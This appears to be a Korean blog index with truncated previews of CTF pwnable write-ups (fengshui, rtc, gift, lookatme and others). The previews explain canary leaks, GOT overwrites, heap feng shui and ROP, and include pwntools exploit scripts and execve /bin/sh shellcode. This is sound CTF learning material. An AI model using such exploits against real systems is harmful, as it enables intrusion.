printf부분에서 format string bug가 터지는 것을 알 수 있다. 그런데 여기서 우리는 sfp부분 전까지만 덮을 수 있다. 그리고 checksec을 통해 알아본 결과 카나리가 있다는 것을 알 수 있었다. 그런데 카나리가 침범당하면 __stack_chk_fail()함수를 호출하게 된다. 이것의 got 부분을 우리가 원하는 함수로 덮고, stack smashing을 일으키면 함수를 실행시킬 수 있다. 그래서, hackingcamp2019에서 나온 문제인 stack pivoting으로 인해 단련된 스택 관련 경험으로 pop을 4번하게 되면 우리의 버퍼쪽으로 온다는 것을 gdb를 통해 알아내었다. 그래서 ppppr 가젯을 덮고, ROP코드를 이용해 libc leak을 하고, one_gadget 주..
heap 풍수라는 것을 이용해서 저 부분 사이에 청크를 있게 해서 익스를 하면 된다. 저걸로 free@got를 알아내 system주소로 바꾸고, free 함수의 인자로 /bin/sh를 힙을 이용해주면 된다. from pwn import * #p = process('./fengshui') p = remote('ctf.j0n9hyun.xyz', 3028) e = ELF('./fengshui') l = ELF('./libc.so.6') context.log_level="debug" def add(size,name,text_length,text): p.sendlineafter("Choice: ", '0') p.sendlineafter('Size of description: ',str(int(size))) p.s..
checksec를 이용해서 봤을때 카나리가 있기때문에 그것을 고려해서 익스를 짜야 된다. 따라서 1.카나리 릭 2. 다시 1번 입력을 받아서 ROP로 libc 릭 3. one_gadget 이용후 익스 카나리는 하위 1바이트가 무조건 \x00 이므로 릭을 하기 위해서는 카나리를 딱 1바이트만 덮어서 \x00을 덮어버린다. 그 후에 출력되는 것을 릭 완료다. 저기서 mov [rbp + var_8]이 카나리 부분이다. 이 부분을 릭하려면 저 strncpy가 있기 때문에 (0x40-8)만큼 문자를 입력하고 그 뒤가 바로 카나리 부분이므로 딱 1문자만 입력하게 되면 카나리 부분까지가 출력되기 때문이다. 왜냐하면 일반적으로 출력을 할 때 널문자(\x00)를 만나기 전까지 출력하기 때문인데 우리가 카나리 부분의 \x..
main에서 alarm(5)를 실행하고 바로 build 함수로 넘어오게 된다. 이 build 부분에서 봐야될게 raise(14)를 하게 되면 handler를 실행하게 된다는것이다. 근데 이 handler를 실행하면 각 레지스터에 입력된 값들을 넣고 syscall을 부르게 된다. 여기서 생각할 수 있는 익스 방법이 1.data 영역에 /bin/sh\x00 문자열을 넣는다. 2. 아까 data영역을 execve 함수 인자로 주어서 쉘을 딴다. 이렇게 된다. 그런데 여기서 필터링이 있는데 그게 바로 validate_syscall_obj()라는 함수이다. al이 rax에 들어갈 값인데 그것을 필터링 해준다. https://blog.rchapman.org/posts/Linux_System_Call_Table_fo..
from pwn import * #p = process('./rtc') p = remote('ctf.j0n9hyun.xyz', 3025) e = ELF('./rtc') l = e.libc context.log_level = "debug" main = 0x00000000004005F6 csu_p_rbx = 0x00000000004006ba csu_fun = 0x00000000004006A0 stdin = 0x0000000000601050 p_r = 0x00000000004006c3 def fun(f, arg1, arg2, arg3): pay = p64(csu_p_rbx) pay += p64(0) pay += p64(1) pay += p64(f) pay += p64(arg3) pay += p64(arg2) ..
저기서 중요한게 입력을 받을 때에는 int 형이지만 저것은 unsigned로 부호가 없다 따라서 저기에 -1을 입력하게 된다면 저장하는 방식 때문에 큰 수로 인식되게 된다. 따라서 printf@got를 출력해서 libc 릭 한뒤에 one_gadget을 이용하여 익스를 하면 된다. from pwn import * #p = process('./pwning') p = remote('ctf.j0n9hyun.xyz', 3019) e = ELF('./pwning') pause() context.log_level = "debug" main = 0x080485B8 syscall = 0x80484D0 p_ebx_r = 0x0804835d p.recv() p.sendline('-1') payload = 'a' * 0x2c..
from pwn import * #p = process('./gift') p = remote('ctf.j0n9hyun.xyz', 3018) e = ELF('./gift') pause() context.log_level = "debug" p_r = 0x0804866b gets = 0x80483d0 payload = 'a' *0x84 + 'b' * 4 p.recvuntil(': ') sh = (int(p.recv(9),16)) p.recv(1) sys =(int(p.recv(10),16)) log.info('binsh : ' + hex(sh)) log.info('system : ' + hex(sys)) p.recv() p.sendline('a') payload += p32(gets) payload += p3..
from pwn import * p = remote('ctf.j0n9hyun.xyz', 3017) #p = process('./lookatme') pause() context.log_level = "debug" shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' mprotect = 0x806e0f0 ppp_r = 0x0809d33b gets = 0x804f120 payload = 'a' * 0x18 + 'b' * 4 payload += p32(mprotect) payload += p32(ppp_r) payload += p32(0x80eb000) payl..